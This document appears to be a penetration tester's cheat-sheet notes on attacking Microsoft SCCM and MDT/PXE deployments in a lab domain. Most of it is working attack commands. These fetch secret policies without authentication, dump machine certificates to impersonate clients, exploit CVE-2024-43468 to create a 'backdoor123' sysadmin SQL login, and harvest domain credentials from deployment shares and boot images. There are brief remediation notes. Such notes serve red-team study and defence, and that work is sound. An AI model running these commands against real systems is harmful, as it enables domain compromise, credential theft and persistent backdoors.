SCCM - Other

Request policies without authentication - Automatic device approval enabled

Source

• This one is similar to CRED-2, except we do not need domain credentials.
• Only need to know where the Management Point (-mp) is located at.

In these conditions, the only action that can be performed is attempting to exploit automatic device approval in order to retrieve secret policies without having a machine account at our disposal. By default devices are only enrolled in the collections All systems and All Desktop and Server clients.

Retrieve secret policies without providing a machine account. This will attempt to exploit the automatic device approval misconfiguration (non-default configuration):

python3 SCCMSecrets.py policies -mp http://SCCM-MGMT.ludus.domain -cn 'hackdefense'

Then check all the retrieved policies for credentials.

It is not possible to do this with sccmhunter:

Recommendation(s):

In the Configuration Manager go to: Administration > Site Configuration > Sites > Hierachy Setting > Client Approval and Conflicting Records. Make sure that Automatically approve all computers (not recommended) is not used.

If NAA credentials are found:

First, identify whether your SCCM environment is utilizing a Network Access Account (NAA). Follow Microsoft's guidance by switching to Enhanced HTTP. However, enhanced HTTP will not have an impact if the NAA credential blobs remain valid. Once you've phased out NAAs, proceed with disabling or deleting the NAA accounts in Active Directory.

Pivoting across collections by impersonating compromised SCCM clients

Source

Several of the scenarios presented result in the retrieval of secret policies, whether through the exploitation of automatic device approval, or by providing a valid machine account. However, secret policies fetched in this way are limited to the collections automatically applied to new registered SCCM devices. Other SCCM clients in the internal network may be part of other, custom collections associated with other secret policies containing interesting credentials.

If you have local admin access to any SCCM client you can check if that client is part of collections that you are not yet part of (see RECON-4). If that is the case you might be able to retrieve the secret policies of that collection.

Remote dump SCCM device certifcate (does not work on Windows 11?):

dploot machinetriage -d ludus.domain -u domainadmin -p 'password' -t 10.2.10.11

Locally (doesn't work on Windows 11?):

.\SharpDPAPI.exe certificates /machine

Get the SCCM client GUID. Look for something like "Client is registered. Server assigned ClientID is GUID":

type C:/Windows/CCM/Logs/ClientIDManagerStartup.log

Then create a folder and add the guid to guid.txt and the private key to key.pem.

Next, run SCCMSecrets to request secret policies for that specific SCCM client:

python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test8.sccm.lab --verbose --bruteforce-range 10 --use-existing-device CLIENT_DEVICE/

Windows Session Hijacking via CcmExec

It is possible to coerce logged on domain users on a SCCM client and retrieve their NTLMv2 (or relay it). You need local admin on the client to do this, see: https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec?hl=en

This is just one way to obtain user credentials without touching LSASS; there are also other methods (unrelated to SCCM), such as: https://github.com/xforcered/RemoteMonologue

Microsoft Configuration Manager (ConfigMgr / SCCM) 2403 Unauthenticated SQL injections (CVE-2024-43468)

Source

Exploit

This script exploits the CVE-2024-43468 that allows an unauthenticated attacker, with network access to a Management Point, to execute arbitrary SQL queries on the site database. Exploit/patch date: late 2024.

When KB29166583 is missing, all the following Microsoft Configuration Manager versions are vulnerable:

• < 2403 (5.00.9128.1024)
• < 2309 (5.00.9122.1033)
• < 2303 (5.00.9106.1037)
• < 2211 (*)

Exploit the management point and add a sysadmin to the MSSQL server:

python3 CVE-2024-43468.py -t http://SCCM-MGMT.ludus.domain -sql "create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin'"

Then login to the site database as sysadmin:

impacket-mssqlclient './backdoor123:P@sswOrd1'@SCCM-SQL.ludus.domain

This is how the attack is supposed to work, but I couldn't get it to function properly in the lab for some reason.

Domain Credentials in PXE boot images/files

Extracting Credentials from MDT Shares

Attacking and mitigating Windows PXE environments

MDT (Microsoft Deployment Toolkit) is a tool from Microsoft used to automate the deployment of Windows operating systems and applications. This is separate from SCCM, although it can be integrated with SCCM.

MDT standalone deployments are considered LTI (Lite-Touch Installation), as they require minimal user interaction. To achieve ZTI (Zero-Touch Installation), MDT must be integrated with SCCM (System Center Configuration Manager), which enables fully automated deployments with no user input.

Windows Deployment Services (WDS) is commonly used with MDT to enable PXE boot functionality (although there are alternatives to WDS such as iPXE).

In older versions of SCCM (pre-1806), PXE boot also required Windows Deployment Services (WDS). Starting with SCCM 1806, Microsoft introduced a WDS-less PXE responder service, which allows PXE boot without installing WDS.

So what is interesting about all of this? Both MDT and SCCM Distribution Points with PXE use shares to store the boot images and related configuration files. Both of these can use domain credentials, which are often overprivileged or even Domain Admin.

First, we get a list of all the shares on the network:

netexec smb smbhosts.txt -u <USER> -p <PASSWORD> --shares | tee shares.txt

Credentials in files

The default MDT deployment share has the name DeploymentShare:

cat shares.txt | grep -i DeploymentShare

Check the following files on the DeploymentShare share:

type \\<IP>\DeploymentShare$\Control\Bootstrap.ini
type \\<IP>\DeploymentShare$\Control\CustomSettings.ini

Similar to SCCM, MDT also allows users to configure task sequences to automate deployment tasks. These sequences can include steps that reference credentials:

cd \\<IP>\DeploymentShare$\Control\
type \\<IP>\DeploymentShare$\Control\<TaskSequenceID>\Unattend.xml
type \\<IP>\DeploymentShare$\Control\<TaskSequenceName>\ts.xml
type \\<IP>\Deploymentshare$\Control\Deployment\Unattend.xml

Check the following folders for hardcoded credentials in scripts:

cd \\<IP>\DeploymentShare$\Scripts\
cd \\<IP>\DeploymentShare$\Applications\

It is possible to determine if MDT is used by checking the registry keys stored in: HKLM\Software\Microsoft\Deployment 4\

Credentials in boot images

If WDS is used for PXE booting then there will a REMINST share. Check if the share exists:

cat shares.txt | grep -i REMINST

Go to the following directories and download all .wim images:

cd \\<IP>\reminst\Boot\x64\Images
cd \\<IP>\DeploymentShare$\Boot\

Transfer the image (e.g. LiteTouchPE_x64.wim) to your machine and mount it, using wimtools:

apt install wimtools
mkdir /mnt/image
wimlib-imagex mount LiteTouchPE_x64.wim /mnt/image

Check the Bootstrap.ini (often contains Administrator creds) and unattend.xml files for domain credentials:

cat /mnt/image/Deploy/Scripts/Bootstrap.ini
cat /mnt/image/unattend.xml